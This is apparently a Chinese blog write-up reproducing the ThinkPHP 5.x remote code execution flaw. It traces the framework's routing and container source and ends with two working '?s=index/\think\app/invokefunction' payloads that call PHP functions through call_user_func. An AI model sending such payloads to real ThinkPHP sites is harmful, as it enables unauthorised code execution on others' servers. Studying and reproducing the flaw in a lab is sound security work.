TP5 RCE
Thinkphp5 RCE 复现
环境:
win10+wamp+thinkphp5.1.29
源码分析
程序首先跳转到 public目录下的index.php,然后执行 thinkphp/library/think/app.php, 然后运行 run()函数。
public function run()
{
try {
// 初始化应用
$this->initialize();
// 监听app_init
$this->hook->listen('app_init');
if ($this->bindModule) {
// 模块/控制器绑定
$this->route->bind($this->bindModule);
} elseif ($this->config('app.auto_bind_module')) {
// 入口自动绑定
$name = pathinfo($this->request->baseFile(), PATHINFO_FILENAME);
if ($name && 'index' != $name && is_dir($this->appPath . $name)) {
$this->route->bind($name);
}
}
// 监听app_dispatch
$this->hook->listen('app_dispatch');
$dispatch = $this->dispatch;
if (empty($dispatch)) {
// 路由检测
$dispatch = $this->routeCheck()->init();
}
// 记录当前调度信息
$this->request->dispatch($dispatch);
// 记录路由和请求信息
if ($this->appDebug) {
$this->log('[ ROUTE ] ' . var_export($this->request->routeInfo(), true));
$this->log('[ HEADER ] ' . var_export($this->request->header(), true));
$this->log('[ PARAM ] ' . var_export($this->request->param(), true));
}
// 监听app_begin
$this->hook->listen('app_begin');
// 请求缓存检查
$this->checkRequestCache(
$this->config('request_cache'),
$this->config('request_cache_expire'),
$this->config('request_cache_except')
);
$data = null;
} catch (HttpResponseException $exception) {
$dispatch = null;
$data = $exception->getResponse();
}
$this->middleware->add(function (Request $request, $next) use ($dispatch, $data) {
return is_null($data) ? $dispatch->run() : $data;
});
$response = $this->middleware->dispatch($this->request);
// 监听app_end
$this->hook->listen('app_end', $response);
return $response;
}
路由检测通过调用 当前类中的routeCheck()方法,去查看如何检测
public function routeCheck()
{
// 检测路由缓存
if (!$this->appDebug && $this->config->get('route_check_cache')) {
$routeKey = $this->getRouteCacheKey();
$option = $this->config->get('route_cache_option');
if ($option && $this->cache->connect($option)->has($routeKey)) {
return $this->cache->connect($option)->get($routeKey);
} elseif ($this->cache->has($routeKey)) {
return $this->cache->get($routeKey);
}
}
// 获取应用调度信息
$path = $this->request->path();
// 是否强制路由模式
$must = !is_null($this->routeMust) ? $this->routeMust : $this->route->config('url_route_must');
// 路由检测 返回一个Dispatch对象
$dispatch = $this->route->check($path, $must);
if (!empty($routeKey)) {
try {
if ($option) {
$this->cache->connect($option)->tag('route_cache')->set($routeKey, $dispatch);
} else {
$this->cache->tag('route_cache')->set($routeKey, $dispatch);
}
} catch (\Exception $e) {
// 存在闭包的时候缓存无效
}
}
return $dispatch;
}
// 获取应用调度信息qwe
$path = $this->request->path();
这里是调用 request.php 中的 path() 方法。
public function path()
{
if (is_null($this->path)) {
$suffix = $this->config['url_html_suffix'];
$pathinfo = $this->pathinfo();
if (false === $suffix) {
// 禁止伪静态访问
$this->path = $pathinfo;
} elseif ($suffix) {
// 去除正常的URL后缀
$this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo);
} else {
// 允许任何后缀访问
$this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo);
}
}
return $this->path;
}
查看当前类中的pathinfo()方法;
public function pathinfo()
{
if (is_null($this->pathinfo)) {
if (isset($_GET[$this->config['var_pathinfo']])) {
// 判断URL里面是否有兼容模式参数
$pathinfo = $_GET[$this->config['var_pathinfo']];
unset($_GET[$this->config['var_pathinfo']]);
} elseif ($this->isCli()) {
// CLI模式下 index.php module/controller/action/params/...
$pathinfo = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
} elseif ('cli-server' == PHP_SAPI) {
$pathinfo = strpos($this->server('REQUEST_URI'), '?') ? strstr($this->server('REQUEST_URI'), '?', true) : $this->server('REQUEST_URI');
} elseif ($this->server('PATH_INFO')) {
$pathinfo = $this->server('PATH_INFO');
}
// 分析PATHINFO信息
if (!isset($pathinfo)) {
foreach ($this->config['pathinfo_fetch'] as $type) {
if ($this->server($type)) {
$pathinfo = (0 === strpos($this->server($type), $this->server('SCRIPT_NAME'))) ?
substr($this->server($type), strlen($this->server('SCRIPT_NAME'))) : $this->server($type);
break;
}
}
}
$this->pathinfo = empty($pathinfo) || '/' == $pathinfo ? '' : ltrim($pathinfo, '/');
}
return $this->pathinfo;
}
look here
$pathinfo = $_GET[$this->config['var_pathinfo']];
为pathinfo 设置初始值,$this->config['var_pathinfo'] 在 /config/app.php 中有设置,默认值为 ‘s’ ,可以利用 ?s 来传递路由信息。
继续查看run()方法.。
在检查完路由后,会记录路由和请求信息
// 记录路由和请求信息
if ($this->appDebug) {
$this->log('[ ROUTE ] ' . var_export($this->request->routeInfo(), true));
$this->log('[ HEADER ] ' . var_export($this->request->header(), true));
$this->log('[ PARAM ] ' . var_export($this->request->param(), true));
}
// 监听app_begin
$this->hook->listen('app_begin');
// 请求缓存检查
$this->checkRequestCache(
$this->config('request_cache'),
$this->config('request_cache_expire'),
$this->config('request_cache_except')
);
$data = null;
} catch (HttpResponseException $exception) {
$dispatch = null;
$data = $exception->getResponse();
}
$this->middleware->add(function (Request $request, $next) use ($dispatch, $data) {
return is_null($data) ? $dispatch->run() : $data;
});
$data 被设置为 null ,然后返回 $dispatch->run();
这里的run(),是
thinkphp/library/think/route/dispatch/Module.php 函数init,和exec 的实例,
class Module extends Dispatch
{
protected $controller;
protected $actionName;
public function init()
{
parent::init();
$result = $this->dispatch;
if (is_string($result)) {
$result = explode('/', $result);
}
if ($this->rule->getConfig('app_multi_module')) {
// 多模块部署
$module = strip_tags(strtolower($result[0] ?: $this->rule->getConfig('default_module')));
$bind = $this->rule->getRouter()->getBind();
$available = false;
if ($bind && preg_match('/^[a-z]/is', $bind)) {
// 绑定模块
list($bindModule) = explode('/', $bind);
if (empty($result[0])) {
$module = $bindModule;
}
$available = true;
} elseif (!in_array($module, $this->rule->getConfig('deny_module_list')) && is_dir($this->app->getAppPath() . $module)) {
$available = true;
} elseif ($this->rule->getConfig('empty_module')) {
$module = $this->rule->getConfig('empty_module');
$available = true;
}
// 模块初始化
if ($module && $available) {
// 初始化模块
$this->request->setModule($module);
$this->app->init($module);
} else {
throw new HttpException(404, 'module not exists:' . $module);
}
}
// 是否自动转换控制器和操作名
$convert = is_bool($this->convert) ? $this->convert : $this->rule->getConfig('url_convert');
// 获取控制器名
$controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));
$this->controller = $convert ? strtolower($controller) : $controller;
// 获取操作名
$this->actionName = strip_tags($result[2] ?: $this->rule->getConfig('default_action'));
// 设置当前请求的控制器、操作
$this->request
->setController(Loader::parseName($this->controller, 1))
->setAction($this->actionName);
return $this;
}
public function exec()
{
// 监听module_init
$this->app['hook']->listen('module_init');
try {
// 实例化控制器
$instance = $this->app->controller($this->controller,
$this->rule->getConfig('url_controller_layer'),
$this->rule->getConfig('controller_suffix'),
$this->rule->getConfig('empty_controller'));
if ($instance instanceof Controller) {
$instance->registerMiddleware();
}
} catch (ClassNotFoundException $e) {
throw new HttpException(404, 'controller not exists:' . $e->getClass());
}
$this->app['middleware']->controller(function (Request $request, $next) use ($instance) {
// 获取当前操作名
$action = $this->actionName . $this->rule->getConfig('action_suffix');
if (is_callable([$instance, $action])) {
// 执行操作方法
$call = [$instance, $action];
// 严格获取当前操作方法名
$reflect = new ReflectionMethod($instance, $action);
$methodName = $reflect->getName();
$suffix = $this->rule->getConfig('action_suffix');
$actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
$this->request->setAction($actionName);
// 自动获取请求变量
$vars = $this->rule->getConfig('url_param_type')
? $this->request->route()
: $this->request->param();
$vars = array_merge($vars, $this->param);
} elseif (is_callable([$instance, '_empty'])) {
// 空操作
$call = [$instance, '_empty'];
$vars = [$this->actionName];
$reflect = new ReflectionMethod($instance, '_empty');
} else {
// 操作不存在
throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
}
$this->app['hook']->listen('action_begin', $call);
$data = $this->app->invokeReflectMethod($instance, $reflect, $vars);
return $this->autoResponse($data);
});
return $this->app['middleware']->dispatch($this->request, 'controller');
}
}
查看实例化控制器是如何操作的,对应代码,在app.php 里面
public function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')
{
list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix);
if (class_exists($class)) {
return $this->__get($class);
} elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) {
return $this->__get($emptyClass);
}
throw new ClassNotFoundException('class not exists:' . $class, $class);
}
查看当前类中的 parseModuleAndClass 方法。
protected function parseModuleAndClass($name, $layer, $appendSuffix)
{
if (false !== strpos($name, '\\')) {
$class = $name;
$module = $this->request->module();
} else {
if (strpos($name, '/')) {
list($module, $name) = explode('/', $name, 2);
} else {
$module = $this->request->module();
}
$class = $this->parseClass($module, $layer, $name, $appendSuffix);
}
return [$module, $class];
}
问题来了。
当name 以 \ 开始时 会被当作类名,如果存在此类,会返回 $this->__get($class);
当前类是继承 container 类的,__get()方法在其父类中 找到,(Container.php中)
public function __get($name)
{
return $this->make($name);
}
public function make($abstract, $vars = [], $newInstance = false)
{
if (true === $vars) {
// 总是创建新的实例化对象
$newInstance = true;
$vars = [];
}
$abstract = isset($this->name[$abstract]) ? $this->name[$abstract] : $abstract;
if (isset($this->instances[$abstract]) && !$newInstance) {
return $this->instances[$abstract];
}
if (isset($this->bind[$abstract])) {
$concrete = $this->bind[$abstract];
if ($concrete instanceof Closure) {
$object = $this->invokeFunction($concrete, $vars);
} else {
$this->name[$abstract] = $concrete;
return $this->make($concrete, $vars, $newInstance);
}
} else {
$object = $this->invokeClass($abstract, $vars);
}
if (!$newInstance) {
$this->instances[$abstract] = $object;
}
return $object;
}
make 方法 总是会实例化一个类 通过 $name 变量可以控制类名,并把他实例化。
继续审计thinkphp/library/think/route/dispatch/Module.php 中实例化类的操作,
注意查看这一句代码。
// 自动获取请求变量
$vars = $this->rule->getConfig('url_param_type')
? $this->request->route()
: $this->request->param();
$vars = array_merge($vars, $this->param);
} elseif (is_callable([$instance, '_empty'])) {
// 空操作
$call = [$instance, '_empty'];
$vars = [$this->actionName];
$reflect = new ReflectionMethod($instance, '_empty');
} else {
// 操作不存在
throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
}
$this->app['hook']->listen('action_begin', $call);
$data = $this->app->invokeReflectMethod($instance, $reflect, $vars);
获取实例化类对应的参数,然后通过invokeMethod 函数动态调用方法,这里面的逻辑可以自行查看。
下面给出exp
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
?s=index/\think\app/invokefunction&function=call_user_func&vars[0]=phpinfo&vars[1]=-1
index是对应的模块
\think\Container 以反斜线开头,这就是我们想要实例化的类 ,当然,这里的app是继承container 的 ,所以也可以成功。但在tp5.0 里面,只能使用上述payload
invokefunction是想\think\Container类想要调用的方法,
function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1是对应invokefunction的参数。
总结
第一次漏洞复现,对于如此庞大的源码都不知道该怎么审计,命名空间掌握不是很灵通,类之间的方法相互继承调用确实造成很多不便。
TP5 RCE的更多相关文章
- ThinkPHP-5.0.23新的RCE漏洞测试和POC
TP5新RCE漏洞 昨天又是周五,讨厌周五曝漏洞,还得又得加班,算了,还是先验证一波.新的TP5RCE,据说发现者因为上次的RCE,于是又审计了代码,结果发现的.TP5也成了万人轮啊. 测试 环境搭建 ...
- thinkphp5.x系列 RCE总结
Thinkphp MVC开发模式 执行流程: 首先发起请求->开始路由检测->获取pathinfo信息->路由匹配->开始路由解析->获得模块.控制器.操作方法调度信息 ...
- thinkphp 5.1框架利用及rce分析
前言 上个学期钻研web渗透的时候接触过几个tp的框架,但那时候还没有写blog的习惯,也没有记录下来,昨天在做ctf的时候正好碰到了一个tp的框架,想起来就复现一下 正文 进入网站,标准笑脸,老tp ...
- TP5.0源生Excel导出
PHPExcel类在TP5里边并不能很好的兼容,使用起来很麻烦. 不像是tp3.2那样直接import()加进来就能new,因为它里边的命名空间找不到.总是说undefined class. 如果是使 ...
- tp5页面输出时,搜索后跳转下一页的处理
tp5页面输出时,搜索功能在跳转下一页时,如果不做任何处理,会返回原有是第二页输出的数据.为了保证跳转下一页时输出的是搜索到的数据,做以下处理. (要根据自己的搜索字段进行适当修改) 页面js代码,给 ...
- RCE via XStream object deserialization && SECURITY-247 / CVE-2016-0792 XML reconstruction Object Code Inject
catalogue . Java xStream . DynamicProxyConverter . java.beans.EventHandler . RCE via XStream object ...
- PHP FastCGI RCE Vul
catalog . Introduction . nginx文件类型错误解析漏洞 . 针对直接公网开放的Fast-CGI攻击 . 通过FCGI API动态修改php.ini中的配置实现RCE 1. I ...
- tp5中的一些小方法
// 当使用一个新页面替换当前页面的body后,body刷新了,所选择的select值就不能保存住,解决方法如下: 作业题目<select> <option>--请选择--&l ...
- tp5文件上传
//tp5上传文件先 use think\File; //上传文件处理 $file = request()->file('file'); // 获取表单提交过来的文件 $error = $_FI ...
随机推荐
- 华为方舟编译器正式支持C语言:完全开源
投递人 itwriter 发布于 2020-10-14 19:08 评论(15) 有1938人阅读 原文链接 2019 年 8 月底,华为方舟编译器(OpenArkCompiler)正式开源,迈出了跨 ...
- day36 Pyhton 网络编程03
一.内容回顾 socket通常也称作"套接字",用于描述IP地址和端口,是一个通信链的句柄,应用程序通常通过"套接字"向网络发出请求或者应答网络请求. sock ...
- day06 Pyhton学习
一.昨日内容回顾 字典: 由{}表示,内部存储key:value 要求: key不能重复 key必须可哈希.不可变 value没有限制 没有索引和切片 增删改查 新增: dic.[新key]=valu ...
- 程序3-6 WERTYU
把手放在键盘上时,稍不注意就会往右错一 位.这样,输入Q会变成输入W,输入J会变成输 入K等.键盘如图3-2所示. 输入一个错位后敲出的字符串(所有字母均 大写),输出打字员本来想打出的句子.输入保 ...
- pytest+allure生成接口自动化测试报告
准备环境 1.安装pytest pip install pytest -i http://pypi.douban.com/simple pytest-ordering pytest.main([ &q ...
- linux学习(一)--启动文件bootsect.s
这是linux由BIOS加载后执行的第一段的启动程序代码,即文件 boot/bootsect.s 首先附图,简单介绍一下从开机加电到第一段linux代码执行的简要过程 1 .globl begte ...
- vm虚拟机设置共享文件夹不显示
1. 确认VMtools已经装好,开启共享文件夹,设置好共享目录 2.执行命令 sudo mount -t vmhgfs .host:/ /mnt/hgfs如果出现错误: Error: cannot ...
- linux(centos8):prometheus使用alertmanager发送报警邮件(prometheus 2.18.1/alertmanager 0.20.0)
一,alertmanager的用途 1,Alertmanager的作用: Alertmanager是一个独立的报警模块, 它接收Prometheus等客户端发来的警报,并通过分组.删除重复等处理, 通 ...
- php+nginx 整合
php编译 https://www.cnblogs.com/php-linux/p/12360858.html nginx编译 https://www.cnblogs.com/php-linux/p/ ...
- Baolu CSV Data Set Config
1.背景 大家在平常使用JMeter测试工具时,对CSV Data Set Config 配置元件肯定不会陌生.如果我们的压测场景涉及到数据库更新操作(如:转账接接口)则需要对参数化数据进行分块,可就 ...